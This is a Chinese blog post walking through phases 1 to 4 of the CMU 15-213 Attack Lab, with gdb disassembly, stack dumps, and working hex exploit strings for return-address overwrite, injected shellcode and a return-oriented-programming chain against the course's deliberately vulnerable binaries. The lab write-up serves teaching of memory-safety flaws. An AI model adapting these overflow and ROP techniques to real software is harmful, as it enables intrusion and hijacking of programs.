we choose to go to|

上山砍大树

园龄:5年3个月粉丝:13关注:3

attack lab

attacklab

phase1

目标:想实现从test()函数劫持getbuf()的返回地址,使得调用getbuf获取输入后,直接跳转到目标地址执行touch1()

void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
Getbuf returned 0x%x\n", val);
}

劫持后的函数touch1()

1 void touch1()
2 {
3 vlevel = 1;/* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement,rather than returning to test.

分析test的汇编代码:

这里可以用用objdump -d ctarget > ctarget_raw.txt产生汇编代码观察getbuf的行为,从而不用通过gdb动态调试来看反汇编的函数代码了。

(gdb) disassemble test
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: call 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: call 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: ret
End of assembler dump.

<+9>: call 0x4017a8 <getbuf>,我们需要做的就是调用getbuf的时候,输入超长字符串,导致调用getbuf之前保存的返回地址替换为touch1的地址。这样让getbuf调用ret指令时候,会将替换后的地址作为 program counter(%rip)的值,从而实现控制转移。而touch1的地址为:0x4017c0

确认超长字符串的内容:

因为返回地址保存在getbuf开辟的地址之上,就需要看下函数getbuf开辟了多少空间:

Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
End of assembler dump.

可以看出getbuf开辟了0x28(hex) = 40(dec)字节空间,所以可以推断出只要写40个字节的数据,就可以覆盖getbuf开辟的栈空间,并且将41个字节保存touch1的地址(64位数据void*),即可实现level1的要求。

按照8个字节为一个单位,需要5个单位的覆盖值,并且加一个单位的0x4017a8返回地址。这里利用自带的HEX2RAW程序来执行。

exploit.txt文件内容:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./ctarget -q -i exploit-raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

不知道为什么用:

unix> cat exploit.txt | ./hex2raw | ./ctarget

就会报错,这是为什么呢?chatgpt给的答案是:

第一种方法(cat exploit.txt | ./hex2raw | ./ctarget)出错的可能原因与输入的处理方式或程序处理输入重定向和管道的方式有关。通过将输入预先转换为原始格式(exploit-raw.txt),你可以避开与管道相关的潜在问题。

管道?算了,不是研究重点,先放一下,二周目再来。

phase2

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,however, you must make it appear to touch2 as if you have passed your cookie as its argument.

任务描述:让CTARGET 执行touch2而不是重新执行test,而且touch2的入参是自己的cookie。

思路:

  • 劫持执行地址我熟悉,同level1,将test调用getbuf之前保存的返回地址,由getbuf的下一行指令地址改为touch2的初始地址。
  • 入参,怎么才能让touch2的入参(%rdi)赋值为自己的cookie呢?

这里作者简单介绍了下大体实现思路:

Your injected code should set the register to your cookie, and then use a ret instruction to transfer control to the first instruction in touch2.

实现思路:首先将cookie -> rdi,然后调用ret。这时栈回收,并且将修改后为touch2的初始地址作为执行地址。这样出现的问题就是,函数返回后,rdi会保存的是之前cookie的值吗?这就涉及到了调用者和被调用者寄存器的保存问题,这里模糊不清,证明当时没学明白。

重新学习3.7.5 Local Storage in Registers

这里的caller代指P函数,callee代指P函数中调用的Q函数。

  • caller为了确保调用完callee后不影响后续代码执行,
  • callee-registers:确保Q(callee)执行完毕后,这些寄存器的值不会改变。(那为啥不让caller直接保存所有的寄存器值?-因为返回值还是需要Q改变的)典型的%rbx, %rbp, and %r12–%r15
  • caller-registers:可以被任意修改的寄存器。除了%rbx, %rbp, and %r12–%r15和%rsp,其他的寄存器。

总结的话就是函数Q除了%rbx, %rbp, and %r12–%r15的状态不能动外,其他寄存器状态都可以动。

理解了调用者寄存器和被调用者寄存器区别,这样cookie -> rdi后,即使函数控制返回了,可能会带着cookie的rdi来进入touch2函数。

所以实现思路应该是可行的。但是这样存在一个问题:因为exploit string输入到getbuf后,getbuf会将栈回收,会导致rdi无法被赋值cookie,直接执行到touch2的地址。

那么需要重新思考下思路:如何保证栈不会被回收?这样就可以让getbuf执行完毕后,下一步执行地址直接到栈的漏洞代码中。或许还有其他的好玩的方法?其实栈并没有被回收,数据均存在,那么就可以考虑漏洞代码的编写。

重新整理后的思路

  • 将test调用getbuf之前保存的返回地址,改为漏洞代码执行的地址。
  • 漏洞代码实现:
    • 将cookie值赋值给%rdi
    • push touch2的地址
    • ret

要想获得漏洞代码执行的地址,就需要获取执行getbuf时栈顶(%rsp)位置。初步想在getbuf分配栈空间的位置打断点,通过调试查看rsp即可。

但是我没法让程序ctarget正常跑起来 😦

思考了一会,woc,第一个答案输入进去,不就可以正常执行了吗?

(gdb) run -q -i exploit-raw.txt

查看getbuf分配栈空间后的栈顶:

(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
End of assembler dump.
(gdb) b *0x4017af
(gdb) continue
Continuing.
Breakpoint 3, 0x00000000004017af in getbuf () at buf.c:14
14 in buf.c

在调用call之前查看rsp的值:0x5561dc78

(gdb) print $rsp
$1 = (void *) 0x5561dc78

获取到可以注入漏洞代码的地址后,我们可以将最后的ret指令放在0x5561dc78位置,然后补充这个漏洞代码。(这里勘误:因为漏洞代码的执行顺序是从低地址到高地址的方向,栈空间是从高地址向着低地址生长。而顶位置正是地址较小的位置,所以栈顶位置0x5561dc78从头开始放漏洞代码即可)

获取touch2的地址:0x4017ec

(gdb) b touch2
Breakpoint 4 at 0x4017ec: file visible.c, line 40.

漏洞代码p2.s

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

获取漏洞代码的字节表示:

unix> gcc -c p2.s
unix> objdump -d p2.o > p2.d

p2.d内容:

1
2 p2.o: file format elf64-x86-64
3
4
5 Disassembly of section .text:
6
7 0000000000000000 <.text>:
8 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
9 7: 68 ec 17 40 00 push $0x4017ec
10 c: c3 ret
~

可以看出这段代码占的空间为13字节,所以漏洞代码的执行地址应该是栈顶地址0x5561dc78减去0xd,即为0x5561dc6b

数据构造:根据小端存储的特性,应该将输入的字节数据中,漏洞代码放在前面,从而存储在栈顶位置;而要被替换的返回地址要在后面存储,从而存储在栈底位置。按照这样构造逻辑,可以实现exploit2.txt

c3 00 40 17 ec 68 59 b9
97 fa c7 c7 48 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
6b dc 61 55 00 00 00 00

执行

unix> ./hex2raw < exploit2.txt > exploit-raw2.txt
unix> ./ctarget -q -i exploit-raw2.txt

报错了,查看下问题存在的原因:

crx@ubuntu:03_attack_lab$ ./hex2raw < exploit2.txt > exploit-raw2.txt
crx@ubuntu:03_attack_lab$ ./ctarget -q -i exploit-raw2.txt
Cookie: 0x59b997fa
Ouch!: You caused a segmentation fault!
Better luck next time
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:ctarget:0:C3 00 40 17 EC 68 59 B9 97 FA C7 C7 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

已经修改了真正的漏洞代码地址:执行地址应该是栈顶地址0x5561dc78加上0xd,即为0x5561dc85。重新执行,还是报错。

单步执行下,看看是否填充字符后,数据怎么分布的:

(gdb) disassemble
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
=> 0x00000000004017bd <+21>: ret
End of assembler dump.
(gdb) x/50xb $rsp
0x5561dca0: 0x6b 0xdc 0x61 0x55 0x00 0x00 0x00 0x00
0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dcb0: 0x24 0x1f 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dcb8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dcc0: 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4
0x5561dcc8: 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4 0xf4
0x5561dcd0: 0xf4 0xf4
(gdb)

在getbf返回之前下的断点,然后打印此时栈空间的数据,发现从栈顶0x5561dca0开始保存的居然是漏洞的执行地址0x5561dc6b,而正常情况下这里应该保存的是漏洞代码。而漏洞的执行地址应该存放0x5561dcc8%rsp + 0x28,为什么会这样?😶

好吧,这样是没问题的,因为断点打错了,应该是打在还尚未将栈空间回收的0x4017b9处,重新来:

(gdb) x/50xb $rsp
0x5561dc78: 0xc3 0x00 0x40 0x17 0xec 0x68 0x59 0xb9
0x5561dc80: 0x97 0xfa 0xc7 0xc7 0x48 0x00 0x00 0x00
0x5561dc88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dca0: 0x6b 0xdc 0x61 0x55 0x00 0x00 0x00 0x00
0x5561dca8: 0x00 0x00

还是报错。

思考后发现存储的时候,没有考虑到小端存储和指令从小到大的地址进行执行的原理:最后存放的漏洞代码地址,要放在最后面,这个没什么问题;但是漏洞代码怎么执行呢?应该是从之前的栈顶往地址高的地方执行,所以栈顶从下至上(地址从低到高)保存指令应该依次是:

0x5561dc78: movq $0x59b997fa,%rdi
+7 pushq $0x4017ec
+c ret

所以在拼装exploit2.txt的时候,最前面的数据就是直接放漏洞代码的字节表示p2.o。之前出错就是因为没有考虑到栈的地址是从下到上逐渐递增的。

重新改写exploit2.txt

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
6b dc 61 55 00 00 00 00

执行还是报错,查看此时栈保存的指令:

(gdb) disassemble
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
=> 0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
(gdb) x/10i $rsp
0x5561dc78: mov $0x59b997fa,%rdi
0x5561dc7f: push $0x4017ec
0x5561dc84: ret
0x5561dc85: add %al,(%rax)
0x5561dc87: add %al,(%rax)
0x5561dc89: add %al,(%rax)
0x5561dc8b: add %al,(%rax)
0x5561dc8d: add %al,(%rax)
0x5561dc8f: add %al,(%rax)
0x5561dc91: add %al,(%rax)
(gdb) x/50xb $rsp
0x5561dc78: 0x48 0xc7 0xc7 0xfa 0x97 0xb9 0x59 0x68
0x5561dc80: 0xec 0x17 0x40 0x00 0xc3 0x00 0x00 0x00
0x5561dc88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dca0: 0x6b 0xdc 0x61 0x55 0x00 0x00 0x00 0x00

这样应该是没问题的,那我们单步执行,看看getbuf执行ret后,rsp是否保存的是漏洞代码执行位置...等等,我怎么保存的地址是0x5561dc6b

改过来以后的exploit2.txt:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

重新执行就可以了:

unix$ ./ctarget -q -i exploit-raw2.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

leve2的思考:漏洞代码字节码和要覆盖的地址要怎么写入到48个字节中?

Q1:为什么要放到48个字节中?

A1:因为要修改test调用getbuf之前保存的地址信息,而这个信息被保存在getbuf的栈空间往上40个字节的位置,占位空间为8个字节(void*)。

Q2:如何组织48个字节的内容?

A2:根据栈空间从高到低的生长特性和小端存储的特性,可以得知输入的数据从开始到最后,就是沿着栈地址空间从低到高的方向存储的。但是需要注意的问题就是小端存储的地址信息0x5561dc78,实际在第40个字节处的十六进制保存形式为78 dc 61 55 00 00 00 00

至于漏洞代码,直接从0字节开始正常保存即可。所以组织形式就是开始保存漏洞代码,然后填充0,直到第40个字节开始填充要修改的地址信息:78 dc 61 55 00 00 00 00

phase3

首先理解函数hexmatch功能:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

sprintf(s, "%.8x", val);:将unsigned类型的值val,存储在字符指针s所指的地址处,而s的位置是随机的。那么如果val=0x12345678,那么s处存的是什么呢?存的就是12345678的字符形式“12345678”。然后从低到高的16进制数据为31 32 33 34 35 36 37 38

那么这个函数hexmatch功能就可以理解了:

将一个无符号整型变量参数转换为字符串后,跟另一个字符串变量的前9个字符进行比对,相同返回1,不同返回0。

然后题目让我们直接执行touch3不返回test,看下touch3的代码:

void touch3(char *sval)
{
vlevel = 3;
/* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

也就是说要想让touch3成功执行,就需要让touch3的入参字符串跟整型cookie的字符串表示形式相同才可以。

现在cookie的无符号整型表示为:0x59b997fa,字符表示为35 39 62 39 39 37 66 61 00.实际小端存储的形式是fa97b959。所以其字符串的表示为66 61 39 37 62 39 35 39 00。所以输入的字符串就可以确定是这样的了。

leve3的大体实现思路:

  • 将getbuf执行完后的返回地址改为漏洞代码的地址。
  • 漏洞代码需要实现下面几个功能:
    • 将入参置为指向一段值为35 39 62 39 39 37 66 61 00的指针。
    • 调用touch3函数

这里需要注意的是,调用touch3的时候,原先getbuf用于存储数据的栈,就会被函数 hexmatch and strncmp用来存储数据。如果这两个函数的栈空间数据正好写入到了漏洞代码的位置,那么就会导致本次攻击代码失败。

那么怎么才能保护getbuf中写入的漏洞代码呢?可以考虑把cookie的字符串数据存在test的栈上,其它部分与上题相同。

实现思路是:

将getbuf的返回地址改为漏洞代码的位置,然后返回地址上面保存cookie字符串表示。漏洞代码将rdi置为cookie字符串保存的位置,然后将touch3的位置0x4018fapush到栈中,然后ret,让程序计数器执行touch3。

这样数据就有56个字节的数据了,栈顶地址为0x5561dc78,所以cookie字符串保存的位置就是栈顶地址向上的第48个字节(从0开始)的位置:0x5561dcA8,保存的数据是35 39 62 39 39 37 66 61 00

漏洞代码编写为:

movq $0x5561dcA8,%rdi
push $0x4018fa
ret

对应的字节码为:

1
2 p3.o: file format elf64-x86-64
3
4
5 Disassembly of section .text:
6
7 0000000000000000 <.text>:
8 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
9 7: 68 fa 18 40 00 push $0x4018fa
10 c: c3

这样总的输入字符串为:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

将其转换为输入字符串后,执行结果:

crx@ubuntu:03_attack_lab$ ./ctarget -q -i exploit3-raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

用时4h,卡住我的主要问题是:

  1. sprintf函数作用:是将一个参数以某种形式转换为字符串,然后保存在某个字符串指针处。在这个题目中,是将cookie代表的unsigned类型的值0x59b997fa格式化为一个以十六进制表示的字符串“59b997fa”,并将结果存储在字符串数组 s 中。而字符串"59b997fa"的实际是按照每个字符的ascii码来表示的,即为35 39 62 39 39 37 66 61。这里花了大量时间去考虑数值类型的cookie到底被转换成什么字符串了,其实这里sprintf的本质就是将数据以16进制形式打印出来,并将打印结果存储起来:

    The C library function int sprintf(char *str, const char *format, ...) sends formatted output to a string pointed to, by str.

    这个问题暴露出来的弱点就是不理解函数到底做了什么,导致花的时间很多

  2. 计算字符串保存的位置:因为getbuf申请了0x24十进制为40的栈空间,所以从0开始的话,40到47存放的是漏洞代码地址,然后48到55存放的是cookie十六进制表示的字符串。

  3. 另一个就是新知识:既然栈会被新的函数参数填入,可能会导致漏洞代码失效,那么我就在test函数上存放一些数据。

现在去拿眼镜。

phase4

返回导向编程 (Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

ret指令相当于pop ip,即将栈顶保存的数据作为程序计数器执行的地址。

梳理下phase4的问题:

现在由于加入了一些限制条件,需要用已有代码而不能自己编写漏洞代码来攻击程序。现在想实现的是跟phase2相同的想法:

  1. 将getbuf调用后的返回地址设置为漏洞代码地址
  2. 调用漏洞代码
    1. 将cookie值作为touch2入参
    2. 调用touch2

之前的思路是将漏洞代码放到getbuf申请的栈顶位置,然后调用getbuf后返回的地址设置为漏洞代码的位置,这样就可进行攻击了。之前的漏洞代码汇编语言实现为:

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

但是现在漏洞代码需要通过已有的代码来拼凑,并且无法做到在已有代码中找到一段代码包含cookie值0x59b997fa,也不能找到pushq $0x4017ec的现有代码。

现在的思路是:

  1. 要想cookie的值赋值给%rdi,可以先将cookie放在栈顶中(超量写入即可),然后调用popq %rdi,使栈顶中的cookie赋值给%rdi.
  2. 如果想要访问touch2的地址,可以将touch2的地址最后写入栈顶中,然后ret即可。

最终想要实现的效果如图所示:

image-20240514194618556

但是发现gadget01的代码实现即5f<start_farm><end_farm>之间并没有直接实现,那我们可以退而求其次,看看能否先将cookie存储到其他寄存器中,然后再使用mov 寄存器, rdi

popq %rax字节表示为:0x58,查看在<start_farm><end_farm>之间是否有这个指令:

4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 ret

可以发现正好在0x4019ca后面偏移3个字节的位置即0x4019cc的位置存在这个指令,并且因为0x90nop指令不做任何操作,而后面的c3恰好是我们需要的ret指令的字节表示,所以可以将gadget01的位置设置为0x4019cc,实现的指令为:

#gadget01:
popq %rax
ret

那么相对应的gadget02的指令应该为

#gadget02
movq %rax,%rdi # 48 89 c7
ret # c3

然后就在<start_farm><end_farm>之间寻找48 89 c7的指令是否存在并且后面是否存在ret指令:

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret

这样在地址0x4019a2处的指令恰好满足我们的需求,所以可以确定将gadget02的位置设置为0x4019a2,这样修改后的栈空间示意图为:

image-20240514200812560

所以设计的输入数据的思路为:4017ec

  • 前五行:前40个字节无效输入均为0
  • 第六行:索引40到47处保存gadget01代码地址
  • 第七行:索引48到55处保存cookie
  • 第八行:索引56到63保存gadget02代码地址
  • 第九行:索引64到71保存touch2的地址

即:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

执行后的成功结果:

crx@ubuntu:03_attack_lab$ ./rtarget -q -i exploit4-raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

本文作者:上山砍大树

本文链接:https://www.cnblogs.com/shangshankandashu/articles/18192417

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   上山砍大树  阅读(21)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起